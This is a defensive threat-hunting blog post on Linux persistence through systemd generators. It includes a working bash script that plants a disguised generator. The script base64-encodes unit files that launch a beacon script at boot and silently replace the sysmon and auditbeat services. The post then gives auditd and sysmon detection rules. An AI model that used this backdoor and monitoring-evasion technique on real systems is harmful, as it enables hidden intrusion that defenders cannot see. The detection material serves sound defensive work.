<!DOCTYPE html>
<html lang="en">

  <head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <title>Hunting for Persistence in Linux (Part 5): Systemd Generators</title>
  <meta name="description" content="How attackers can insert backdoors early in the boot process using systemd generators">
  <meta property="og:description" content="How attackers can insert backdoors early in the boot process using systemd generators" />
  <!-- Twitter Metadata -->
  <meta name="twitter:card" content="summary_large_image">
  <meta name="twitter:title" content="Hunting for Persistence in Linux (Part 5): Systemd Generators">
  <meta name="twitter:site" content="@__pberba__">
  <meta name="twitter:description" content="How attackers can insert backdoors early in the boot process using systemd generators">
  
    <meta property="og:image" content="https://pberba.github.io/assets/posts/20220207/0-header.jpg" />
    <meta property="twitter:image" content="https://pberba.github.io/assets/posts/20220207/0-header.jpg" />
  
  <link href="https://fonts.googleapis.com/css?family=Bitter&display=swap" rel="stylesheet">  
  <link href="https://fonts.googleapis.com/css?family=Fira+Code|Fira+Sans|Fira+Sans+Condensed&display=swap" rel="stylesheet">
  <link rel="stylesheet" href="/assets/main.css">
  <link rel="canonical" href="https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">
  <link rel="alternate" type="application/rss+xml" title="pepe berba" href="/feed.xml">
  <link rel="icon" type="image/png" href="/assets/favicon.ico">
  <script async defer src="https://buttons.github.io/buttons.js"></script>
  
  <script type="text/javascript" async
    src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.2/MathJax.js?config=TeX-MML-AM_CHTML">
</script>
   

  
  <script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-167859587-1', 'auto');
  ga('send', 'pageview');

</script>
  

  

  <!-- Begin Jekyll SEO tag v2.7.1 -->
<title>Hunting for Persistence in Linux (Part 5): Systemd Generators | pepe berba</title>
<meta name="generator" content="Jekyll v3.9.0" />
<meta property="og:title" content="Hunting for Persistence in Linux (Part 5): Systemd Generators" />
<meta name="author" content="Pepe Berba" />
<meta property="og:locale" content="en_US" />
<meta name="description" content="How attackers can insert backdoors early in the boot process using systemd generators" />
<meta property="og:description" content="How attackers can insert backdoors early in the boot process using systemd generators" />
<link rel="canonical" href="https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/" />
<meta property="og:url" content="https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/" />
<meta property="og:site_name" content="pepe berba" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2022-02-07T00:00:00+00:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="Hunting for Persistence in Linux (Part 5): Systemd Generators" />
<script type="application/ld+json">
{"author":{"@type":"Person","name":"Pepe Berba"},"description":"How attackers can insert backdoors early in the boot process using systemd generators","url":"https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/","@type":"BlogPosting","headline":"Hunting for Persistence in Linux (Part 5): Systemd Generators","dateModified":"2022-02-07T00:00:00+00:00","datePublished":"2022-02-07T00:00:00+00:00","mainEntityOfPage":{"@type":"WebPage","@id":"https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/"},"@context":"https://schema.org"}</script>
<!-- End Jekyll SEO tag -->

</head>


  <body>

    <header class="site-header" role="banner">
  
  <link href="https://fonts.googleapis.com/css2?family=Lora:wght@700&family=Roboto:ital,wght@0,400;0,500;1,400;1,500&display=swap" rel="stylesheet">

  <div class="wrapper">
    <a class="site-title" href="/">pepe berba</a>
  
      <nav class="site-nav">
        <input type="checkbox" id="nav-trigger" class="nav-trigger" />
        <label for="nav-trigger">
          <span class="menu-icon">
            <svg viewBox="0 0 18 15" width="18px" height="15px">
              <path fill="#424242" d="M18,1.484c0,0.82-0.665,1.484-1.484,1.484H1.484C0.665,2.969,0,2.304,0,1.484l0,0C0,0.665,0.665,0,1.484,0 h15.031C17.335,0,18,0.665,18,1.484L18,1.484z"/>
              <path fill="#424242" d="M18,7.516C18,8.335,17.335,9,16.516,9H1.484C0.665,9,0,8.335,0,7.516l0,0c0-0.82,0.665-1.484,1.484-1.484 h15.031C17.335,6.031,18,6.696,18,7.516L18,7.516z"/>
              <path fill="#424242" d="M18,13.516C18,14.335,17.335,15,16.516,15H1.484C0.665,15,0,14.335,0,13.516l0,0 c0-0.82,0.665-1.484,1.484-1.484h15.031C17.335,12.031,18,12.696,18,13.516L18,13.516z"/>
            </svg>
          </span>
        </label>

        <div class="trigger">
            <a class="page-link" href="/stats/">stats</a>
            <a class="page-link" href="/security/">security</a>
            <a class="page-link" href="/crypto/">crypto</a>
            <a class="page-link" href="/about">about</a>
            <a class="page-link" href="/posts">archive</a>
            <a class="page-link" href="https://pberba.github.io/feed.xml"><svg class="svg-icon"><use xlink:href="/assets/icons.svg#rss"></use></svg> RSS</a>
        </div>
      </nav>
  </div>
</header>



    <div>
    
      <aside id="toc_sidebar" class="sidebar_toc">
        <nav class="toc">
          <header><h4 class="nav__title"><i class="fa fa-file-text"></i> </h4></header>
          <ul class="toc__menu"><li><a href="#introduction">Introduction</a></li><li><a href="#12-boot-or-logon-initialization-scripts-systemd-generators">12 Boot or Logon Initialization Scripts: systemd-generators</a><ul><li><a href="#121-what-are-systemd-generators">12.1 What are systemd-generators?</a></li><li><a href="#122-creating-a-malicious-generator">12.2 Creating a malicious generator</a></li><li><a href="#123-detecting-the-creation-of-systemd-generators">12.3 Detecting the creation of systemd generators</a></li><li><a href="#1231-auditd">12.3.1 auditd</a></li><li><a href="#1232-sysmon">12.3.2 sysmon</a></li><li><a href="#1233-auditbeats">12.3.3 auditbeats</a></li><li><a href="#1234-osquery">12.3.4 osquery</a></li></ul></li><li><a href="#whats-next">What’s next</a></li></ul>
        </nav>
        </br></br></br>
      </aside>

    

    <main class="page-content" aria-label="Content">
      <div class="wrapper">
        <article class="post" itemscope itemtype="http://schema.org/BlogPosting">

  <header class="post-header">

     <h3> <a href="/posts"> posts </a> > <a href="/security">security</a></h3>

    <h1 class="post-title" itemprop="name headline">Hunting for Persistence in Linux (Part 5): Systemd Generators</h1>

    

    <p class="post-meta">

      <time datetime="2022-02-07T00:00:00+00:00" itemprop="datePublished">
        
        Feb 7, 2022
      </time>
      
        • <span itemprop="author" itemscope itemtype="http://schema.org/Person"><span itemprop="name">Pepe Berba</span></span>
      

      &nbsp 


<a href="https://twitter.com/__pberba__"><i class="fab fa-fw fa-twitter-square" aria-hidden="true"></i></a>
<a href="https://www.linkedin.com/in/pberba"><i class="fab fa-fw fa-linkedin" aria-hidden="true"></i></a>
<a href="https://github.com/pberba"><i class="fab fa-fw fa-github" aria-hidden="true"></i></a>
<a href="https://medium.com/@pberba"><i class="fab fa-fw fa-medium" aria-hidden="true"></i> </a>
<a href="https://pberba.github.io/feed.xml"><i class="fas fa-rss-square" aria-hidden="true"></i></a>

    </p> 
  </header>


  <div class="post-content" itemprop="articleBody">
    
      <img src="https://pberba.github.io/assets/posts/20220207/0-header.jpg" alt="">
      </br>
    

    
      <aside id="sidebar_toc_body" class="sidebar_toc_body">
        <nav class="toc">
          <header><h2 class="nav__title"><i class="fa fa-file-text"></i> Table of Contents </h2></header>
          <ul class="toc__menu"><li><a href="#introduction">Introduction</a></li><li><a href="#12-boot-or-logon-initialization-scripts-systemd-generators">12 Boot or Logon Initialization Scripts: systemd-generators</a><ul><li><a href="#121-what-are-systemd-generators">12.1 What are systemd-generators?</a></li><li><a href="#122-creating-a-malicious-generator">12.2 Creating a malicious generator</a></li><li><a href="#123-detecting-the-creation-of-systemd-generators">12.3 Detecting the creation of systemd generators</a></li><li><a href="#1231-auditd">12.3.1 auditd</a></li><li><a href="#1232-sysmon">12.3.2 sysmon</a></li><li><a href="#1233-auditbeats">12.3.3 auditbeats</a></li><li><a href="#1234-osquery">12.3.4 osquery</a></li></ul></li><li><a href="#whats-next">What’s next</a></li></ul>
        </nav>
      </aside>
    


    <h3 id="introduction">Introduction</h3>

<p>In this blogpost, we’re discussing a specific persistence technique that I haven’t read anywhere else. Because of this, it seemed appropriate for it to have its own post.</p>

<p>The topics discussed here are the following:</p>
<ul>
  <li><a href="https://attack.mitre.org/techniques/T1037/">Boot or Logon Initialization Scripts: systemd-generators</a></li>
</ul>

<p>We will give some example commands on how to implement these persistence techniques and how to create alerts using open-source solutions such as auditd, sysmon and auditbeats.</p>

<p><img src="/assets/posts/20220207/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>

<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>

<p>Linux Persistence Series:</p>
<ul>
  <li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
    <ul>
      <li>1 - Server Software Component: Web Shell</li>
    </ul>
  </li>
  <li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
    <ul>
      <li>2 - Create Account: Local Account</li>
      <li>3 - Valid Accounts: Local Accounts</li>
      <li>4 - Account Manipulation: SSH Authorized Keys</li>
    </ul>
  </li>
  <li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
    <ul>
      <li>5 - Create or Modify System Process: Systemd Service</li>
      <li>6 - Scheduled Task/Job: Systemd Timers</li>
      <li>7 - Scheduled Task/Job: Cron</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
    <ul>
      <li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
      <li>9 - Boot or Logon Initialization Scripts: init.d</li>
      <li>10 - Boot or Logon Initialization Scripts: motd</li>
      <li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
    <ul>
      <li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
    </ul>
  </li>
  <li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
    <ul>
      <li>Modify Authentication Process: Pluggable Authentication Modules</li>
      <li>Compromise Client Software Binary</li>
      <li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
      <li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
    </ul>
  </li>
</ul>

<h3 id="12-boot-or-logon-initialization-scripts-systemd-generators">12 Boot or Logon Initialization Scripts: systemd-generators</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/">https://attack.mitre.org/techniques/T1037/</a></p>

<p>There is no dedicated sub technique for this in MITRE ATT&amp;CK matrix. This is just something I stumbled upon while going through the <code class="language-plaintext highlighter-rouge">systemd</code> documentation and when researching about <code class="language-plaintext highlighter-rouge">rc.local</code> and <code class="language-plaintext highlighter-rouge">init.d</code> scripts in the previous blogpost.</p>

<h4 id="121-what-are-systemd-generators">12.1 What are systemd-generators?</h4>

<p>Looking at the debian man pages for <a href="https://manpages.debian.org/testing/systemd/systemd.generator.7.en.html">systemd.generator</a>.</p>

<blockquote>
  <p>Generators are small executables placed in <code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/</code> and other directories listed [below]. <code class="language-plaintext highlighter-rouge">systemd(1)</code> will execute these binaries very early at bootup and at configuration reload time — before unit files are loaded.</p>
</blockquote>

<p>The directories can be found in the man page but here are some persistent ones:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/systemd/system-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/system-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/systemd/user-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/user-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/lib/systemd/user-generators/*</code></li>
</ul>

<p>One use case for this is backwards compatibility. For example, <code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> and <code class="language-plaintext highlighter-rouge">systemd-sysv-generator</code> are both used to process <code class="language-plaintext highlighter-rouge">rc.local</code> and <code class="language-plaintext highlighter-rouge">init.d</code> scripts respectively. These executables convert the traditional startup scripts into <code class="language-plaintext highlighter-rouge">systemd</code> services by parsing them and creating wrapper <code class="language-plaintext highlighter-rouge">service</code> unit files on boot. It is a preprocessing step for <code class="language-plaintext highlighter-rouge">systemd</code> before it runs any services.</p>

<p>Other modules can also drop their own executable in one the listed locations and this will also be executed on boot or anytime the systemd configuration is reloaded. For example, installing <code class="language-plaintext highlighter-rouge">openvpn</code> results in a <code class="language-plaintext highlighter-rouge">/usr/lib/systemd/system-generators/openvpn-generator</code></p>

<p>This is an interesting place to add a backdoor because systemd generators are executed very early in the boot process. In fact, this is the earliest place I’ve found to get an executable to run without going to the kernel or installing a rootkit. The generator executables are run before any service is started! So when defenders use loggers and sensors services such as <code class="language-plaintext highlighter-rouge">syslog</code>, <code class="language-plaintext highlighter-rouge">auditd</code>, <code class="language-plaintext highlighter-rouge">sysmon</code> or <code class="language-plaintext highlighter-rouge">auditbeat</code> to monitor a machine, they won’t be running to catch actions done by the generators. Moreover, a malicious generator might be able to tamper with the service unit files before they can run.</p>

<p>But there are constraints on this. The man page gives this note:</p>

<blockquote>
  <p>Generators are run very early at boot and cannot rely on any external services. They may not talk to any other process. That includes simple things such as logging to <code class="language-plaintext highlighter-rouge">syslog(3)</code>, or <code class="language-plaintext highlighter-rouge">systemd</code> itself (this means: no systemctl(1))! Non-essential file systems like /var/ and /home/ are mounted after generators have run. Generators can however rely on the most basic kernel functionality to be available, as well as mounted <code class="language-plaintext highlighter-rouge">/sys/</code>, <code class="language-plaintext highlighter-rouge">/proc/</code>, <code class="language-plaintext highlighter-rouge">/dev/</code>, <code class="language-plaintext highlighter-rouge">/usr/</code> and <code class="language-plaintext highlighter-rouge">/run/</code> file systems.</p>
</blockquote>

<h4 id="122-creating-a-malicious-generator">12.2 Creating a malicious generator</h4>

<p>Our objective:</p>
<ul>
  <li>Create a malicious service that will run</li>
  <li>Disable <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code></li>
</ul>

<p>We assume that some script <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> already exists. You can replace <code class="language-plaintext highlighter-rouge">ExecStart</code> with a different path or even add the reverse shell directly.</p>

<p>We drop a simple executable script in <code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/systemd-network-generator</code> . When it runs, it will:</p>
<ul>
  <li>Create a <code class="language-plaintext highlighter-rouge">/run/systemd/system/networking.service</code> unit file</li>
  <li>Create a symlink to <code class="language-plaintext highlighter-rouge">/run/systemd/system/multi-user.target.wants/networking.service</code> to enable the service</li>
  <li>Create a <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code> that will overwrite the configuration of the original services.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> /usr/lib/systemd/system-generators/systemd-network-generator <span class="o">&lt;&lt;</span> <span class="no">EOF</span><span class="sh">
#! /bin/bash

# Create networking.service and enabling it to run later in the boot process
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPW5ldHdvcmtpbmcuc2VydmljZQoKW1NlcnZpY2VdCkV4ZWNTdGFydD0vb3B0L2JlYWNvbi5zaAoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d &gt; /run/systemd/system/networking.service

mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/networking.service /run/systemd/system/multi-user.target.wants/networking.service


# Create adds dummy service unit files to overwrite sysmon.service and auditbeat.service
mkdir -p /run/systemd/generator.early
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d &gt; /run/systemd/generator.early/sysmon.service
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d &gt; /run/systemd/generator.early/auditbeat.service
</span><span class="no">EOF

</span><span class="nb">chmod</span> +x /lib/systemd/system-generators/systemd-network-generator
</code></pre></div></div>

<p>You might wonder: <em>“Why do we need to make a service unit file? Why don’t we run the <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> in the background directly?”</em></p>

<p>Well, this is the recommended way that systemd generators operate. For example, network functionality might not be ready when the generators are executed. So it is simpler to generate service file instead and set <code class="language-plaintext highlighter-rouge">network.target</code> as a dependency. However, it is possible to create a long running background process on boot; it either waits or retries until the necessary OS functionality becomes available.</p>

<p>The generated service file is very simple. If you want more info about this read the <a href="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/#52-installing-a-malicious-service">previous blogpost - 5.2.2 Minimal service file
</a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=networking.service

[Service]
ExecStart=/opt/beacon.sh

[Install]
WantedBy=multi-user.target
</code></pre></div></div>

<p>On the next reboot a <code class="language-plaintext highlighter-rouge">networking.service</code> service would be running</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>systemctl status networking
● networking.service
   Loaded: loaded <span class="o">(</span>/run/systemd/system/networking.service<span class="p">;</span> enabled<span class="p">;</span> vendor preset: enabled<span class="o">)</span>
   Active: active <span class="o">(</span>running<span class="o">)</span> since Wed 2022-02-02 06:42:47 UTC<span class="p">;</span> 19s ago
 Main PID: 374 <span class="o">(</span>beacon.sh<span class="o">)</span>
    Tasks: 2 <span class="o">(</span>limit: 4651<span class="o">)</span>
   Memory: 15.7M
   CGroup: /system.slice/networking.service
           ├─374 /bin/bash /opt/beacon.sh
           └─377 bash <span class="nt">-l</span>
</code></pre></div></div>

<p>Of course you can modify the value of <code class="language-plaintext highlighter-rouge">ExecStart</code> or the contents of <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> to whatever script you want.</p>

<p>Also because we have written new <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code> in <code class="language-plaintext highlighter-rouge">/run/systemd/generator.early/</code> and this takes precedence over <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code> and <code class="language-plaintext highlighter-rouge">/lib/systemd/system</code> (See order in <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths</code>). The <code class="language-plaintext highlighter-rouge">sysmon</code> and <code class="language-plaintext highlighter-rouge">auditbeat</code> did not run the correct daemons.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>systemctl status auditbeat
● auditbeat.service - <span class="s2">"Skipped"</span>
   Loaded: loaded <span class="o">(</span>/run/systemd/generator.early/auditbeat.service<span class="p">;</span> generated<span class="o">)</span>
   Active: inactive <span class="o">(</span>dead<span class="o">)</span> since Wed 2022-02-02 07:15:30 UTC<span class="p">;</span> 15s ago
  Process: 377 <span class="nv">ExecStart</span><span class="o">=</span>/usr/bin/echo Skipped <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
 Main PID: 377 <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>

Feb 02 07:15:30 host systemd[1]: Started <span class="s2">"Skipped"</span><span class="nb">.</span>
Feb 02 07:15:30 host <span class="nb">echo</span><span class="o">[</span>377]: Skipped
Feb 02 07:15:30 host systemd[1]: auditbeat.service: Succeeded.

<span class="nv">$ </span>systemctl status sysmon
● sysmon.service - <span class="s2">"Skipped"</span>
   Loaded: loaded <span class="o">(</span>/run/systemd/generator.early/sysmon.service<span class="p">;</span> generated<span class="o">)</span>
   Active: inactive <span class="o">(</span>dead<span class="o">)</span> since Wed 2022-02-02 07:15:30 UTC<span class="p">;</span> 26s ago
  Process: 380 <span class="nv">ExecStart</span><span class="o">=</span>/usr/bin/echo Skipped <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
 Main PID: 380 <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>

Feb 02 07:15:30 host systemd[1]: Started <span class="s2">"Skipped"</span><span class="nb">.</span>
Feb 02 07:15:30 host <span class="nb">echo</span><span class="o">[</span>380]: Skipped
Feb 02 07:15:30 host systemd[1]: sysmon.service: Succeeded.
</code></pre></div></div>

<p>The dummy service files we added just <code class="language-plaintext highlighter-rouge">echo "Skipped"</code> instead running the <code class="language-plaintext highlighter-rouge">sysmon</code> and <code class="language-plaintext highlighter-rouge">auditbeat</code> daemon.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description="Skipped"

[Service]
ExecStart=echo "Skipped"

[Install]
WantedBy=multi-user.target
</code></pre></div></div>
<h4 id="123-detecting-the-creation-of-systemd-generators">12.3 Detecting the creation of systemd generators</h4>

<p>It is hard to monitor the execution of the systemd generators because they run on boot even before <code class="language-plaintext highlighter-rouge">sysmon</code> or <code class="language-plaintext highlighter-rouge">auditd</code> is running. Therefore our main way to combat this is to look for the creation and modification of systemd generators.</p>

<h4 id="1231-auditd">12.3.1 auditd</h4>

<p>This is <strong>not part of our reference</strong> Neo23x0/auditd](https://github.com/Neo23x0/auditd/blob/master/audit.rules), but we can monitor the creation or modification of <code class="language-plaintext highlighter-rouge">rc.local</code> using the following auditd rule.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-w</span> /etc/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/local/lib/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /lib/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/lib/systemd/system-generators <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /etc/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/local/lib/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/lib/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
</code></pre></div></div>

<h4 id="1232-sysmon">12.3.2 sysmon</h4>

<p>Similarly, we don’t have a rule in <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/main.xml">microsoft/MSTIC-Sysmon</a> for sysmon.</p>

<p>But we can create a rule to detect creation of files under the system or user systemd generators.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts: systemd-generators"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/usr/local/lib/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/lib/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/usr/lib/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/systemd/user-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/usr/local/lib/systemd/user-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/usr/lib/systemd/user-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>

<p>The command above will result in the following log</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Event&gt;</span>
    <span class="nt">&lt;System&gt;</span>
        <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;EventID&gt;</span>11<span class="nt">&lt;/EventID&gt;</span>
        <span class="nt">&lt;Version&gt;</span>2<span class="nt">&lt;/Version&gt;</span>
        <span class="nt">&lt;Level&gt;</span>4<span class="nt">&lt;/Level&gt;</span>
        <span class="nt">&lt;Task&gt;</span>11<span class="nt">&lt;/Task&gt;</span>
        <span class="nt">&lt;Opcode&gt;</span>0<span class="nt">&lt;/Opcode&gt;</span>
        <span class="nt">&lt;Keywords&gt;</span>0x8000000000000000<span class="nt">&lt;/Keywords&gt;</span>
        <span class="nt">&lt;TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-02-06T13:10:59.597085000Z"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;EventRecordID&gt;</span>3056<span class="nt">&lt;/EventRecordID&gt;</span>
        <span class="nt">&lt;Correlation/&gt;</span>
        <span class="nt">&lt;Execution</span> <span class="na">ProcessID=</span><span class="s">"5963"</span> <span class="na">ThreadID=</span><span class="s">"5963"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;Channel&gt;</span>Linux-Sysmon/Operational<span class="nt">&lt;/Channel&gt;</span>
        <span class="nt">&lt;Computer&gt;</span>persistence-blog<span class="nt">&lt;/Computer&gt;</span>
        <span class="nt">&lt;Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;/System&gt;</span>
    <span class="nt">&lt;EventData&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1037,TechniqueName=Boot or Logon Initializa<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2022-02-06 13:10:59.595<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{8491267f-c8e3-61ff-89a1-493c44560000}<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>6897<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/bash<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">&gt;</span>+/usr/lib/systemd/system-generators/systemd-network-generator<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">&gt;</span>2022-02-06 13:10:59.595<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>root<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>One thing I am not sure, is why the target filename has a <code class="language-plaintext highlighter-rouge">+</code> at the start.</p>
